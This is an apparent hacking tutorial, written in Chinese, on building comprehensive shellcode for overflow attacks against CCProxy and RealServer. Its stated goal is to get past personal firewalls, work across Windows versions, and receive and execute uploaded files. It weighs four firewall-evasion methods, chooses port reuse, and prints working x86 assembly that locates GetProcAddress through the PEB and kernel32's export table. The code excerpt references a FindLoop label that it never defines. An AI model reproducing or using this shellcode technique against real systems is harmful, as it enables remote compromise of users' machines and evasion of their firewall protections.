编写和应用穿墙Shellcode
Shellcode要求是:满足攻击机器位于NAT的内网中的情况,溢出后能突破防火墙限制、突破操作系统版本限制、能自动接收并执行文件、最后安全退出。这实际上是要编写一个综合性的Shellcode,结合这两个漏洞的具体情况,经过两整天的编写和调试最终成功,完整的Shellcode汇编代码和攻击程序参见文章附带的源码。这里我主要想和大家交流实现的思路和过程。
第一部分:打造综合功能的Shellcode
制定最佳的防火墙突破思路及文件传送方式
我们的目标是攻击个人主机,这里的防火墙也专指个人防火墙(PFW)。防火墙突破思路的选取将直接影响汇编代码的复杂程度和文件的传送方式,为什么这么说呢?先简单回顾一下4期文章《射雕之突破Windows个人防火墙》中总结的几种防火墙突破方法:
方法一、查找到当前连接的socket,在通过该连接完成指定的功能(如,传送文件)。关于socket的查找,有通过getpeername、字符串匹配、 hook recv等几种方式。实践证明,这几种方式要么不适用于攻击者位于内网的情况(getpeername法)、要么就是目标服务进程中代码在调用recv函数时开辟的缓冲区大小很难确定(字符串匹配法)或则是该服务进程根本就没使用recv函数来接收数据(hook recv法)。根据Shellcode设计要求,该方法不应该成为首选。
方法二、端口复用,也就是溢出成功后在目标服务进程中重复绑定其开放的TCP端口。这种方法应该能满足我们的设计要求,但它存在一个限制:假如服务进程中绑定端口时通过setsockopt函数设置了SO_EXCLUSIVEADDRUSE选项的话,重复绑定该端口是不会成功的。那么究竟怎么检测服务进程是否设置了SO_EXCLUSIVEADDRUSE呢?比如检测CCProxy进程(对应808端口),在本地运行该进程,另外编写一程序,绑定808端口,并且设置:
setsockopt( fd, SOL_SOCKET, SO_REUSEADDR,
(char *)&val, sizeof(val) )
如果bind函数返回0,则说明未设置SO_EXCLUSIVEADDRUSE,反之设置。
通过实验,CCProxy和RealServer服务进程中绑定端口时都没有设置SO_EXCLUSIVEADDRUSE,看来采用端口复用的方法是可行的!不急,把其它两种方法看了再说,说不定有更好的方法呢。
方法三、重新绑定服务进程开放端口。这种方法适合在第二种方法不起作用,即服务进程设置了SO_EXCLUSIVEADDRUSE时采用。它需要在重新绑定端口之前退出进程、移植文件、创建进程、向新进程注入Shellcode等工作。因此,这种方法是最通用的一种,也是实现起来最复杂的一种。
方法四、代码注入可信任进程。这种方法要求攻击者本机监听一常用端口(如80端口),Shellcode执行时创建可信任的进程(如Internet Explore),然后再将通信部分的Shellcode通过CreateRemoteThread注入到该进程中去让其执行以完成指定的功能。假如防火墙对外出的端口做了严格的限制,这种方法可能会失败,实现起来和第三中方法的复杂程度相近,但总的来讲成功率还是很高的。
比较完四种溢出成功后突破防火墙方法各自的优劣,毫无疑问,我选择第二种方法---端口复用。
接下来就是文件的传输方式。这里以目标系统为服务端,攻击者为客户端,客户端向服务器端上传文件。
取消系统版本的限制----Shellcode中API函数地址的动态获取
这部分不是什么新鲜的东西,在很多资料中都有描述,但它却是很基本、很重要的。编写Shellcode的过程中,很用到多个API函数来完成各种功能。但是不同的Windows版本(Windows2000、XP和Windows2003)中这些API函数地址不一样,如果用绝对的32位地址来表示的话,编写出来的代码是不通用的,大家用起来肯定郁闷。另一方面,这些函数地址都是通过GetProcAddress和LoadLibraryA两个函数来获取的,而LoadLibraryA函数的地址又是通过GetProcAddress获取的。因此只需要通过PEB获取Kernel32.dll地址,再通过Kernel32.dll的输出表查找GetProcAddress地址就OK了。下面直接给出汇编代码:
mov eax, fs:0x30 //peb地址
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov ebx, [eax + 0x08] //ebx = Kernel32.dll基址
mov eax, [ebx + 0x3c] //eax = PE header offset
mov eax, [ebx + eax + 0x78]
add eax, ebx // eax=输出表目录指针
mov [ebp + 20h], eax //保存输出表目录指针
mov ecx, [eax + 0x18] //函数名数目
mov eax, [eax + 0x20]
add eax, ebx //eax = 函数名指针数组指针
mov DWORD ptr[ebp + 28h], eax //循环控制时保存当前函数名指针
xor esi, esi
mov DWORD ptr[ebp + 24h], esi //用于循环控制时记数
mov dword ptr [ebp], 'PteG'//压入GetProcAddress地址
mov dword ptr [ebp + 4], 'Acor'
mov dword ptr [ebp + 8], 'erdd'
mov word ptr [ebp + 0xc], 'ss'
mov byte ptr[ebp + 0xe], 0
mov esi, ebp
push esi
push ecx //保存外层循环次数
mov eax, [eax] //得出指针偏移
add eax, ebx //eax某个函数名地址
mov edi, eax
mov ecx, 14 //GetProcAddress的长度
rep cmpsb
jne FindNext //如果当前函数名不是指定的函数名则查找下一个
add esp,4
mov eax, [ebp + 20h]
mov eax, [eax + 0x24]
add eax, ebx //获得序号转换表地址,以便取得正确的函数地址序号
mov edi, DWORD ptr[ebp + 24h]
shl edi, 1 //函数名序号*2
add eax, edi
mov di, [eax] //di是对应的函数地址表中序号
mov eax, [ebp+20h] //然后找出函数地址,首先获取函数地址列表基址
mov eax, [eax + 0x1c]
add eax, ebx
shl edi, 2
add eax, edi
mov eax, [eax]
add eax, ebx //此时eax就是我们要查找的函数地址
jmp FoundLoadLibraryA
FindNext: inc DWORD ptr[ebp + 24h]
add DWORD ptr[ebp + 28h], 4 //下一个函数名指针
mov eax, DWORD ptr[ebp + 28h]
pop ecx//恢复压入的ecx(NumberOfFunctions),进行计数循环
pop esi
loop FindLoop //如果ecx不为0则递减并回到FindLoop,往后查找
FoundLoadLibraryA: mov [ebp+2Ch], eax //EAX是GetProcAddress函数地址
其它函数的查找这里就不贴出来了,可参见具体代码。最后,将查找出来的所有函数地址全部放在[ebp + 40h]开始的位置。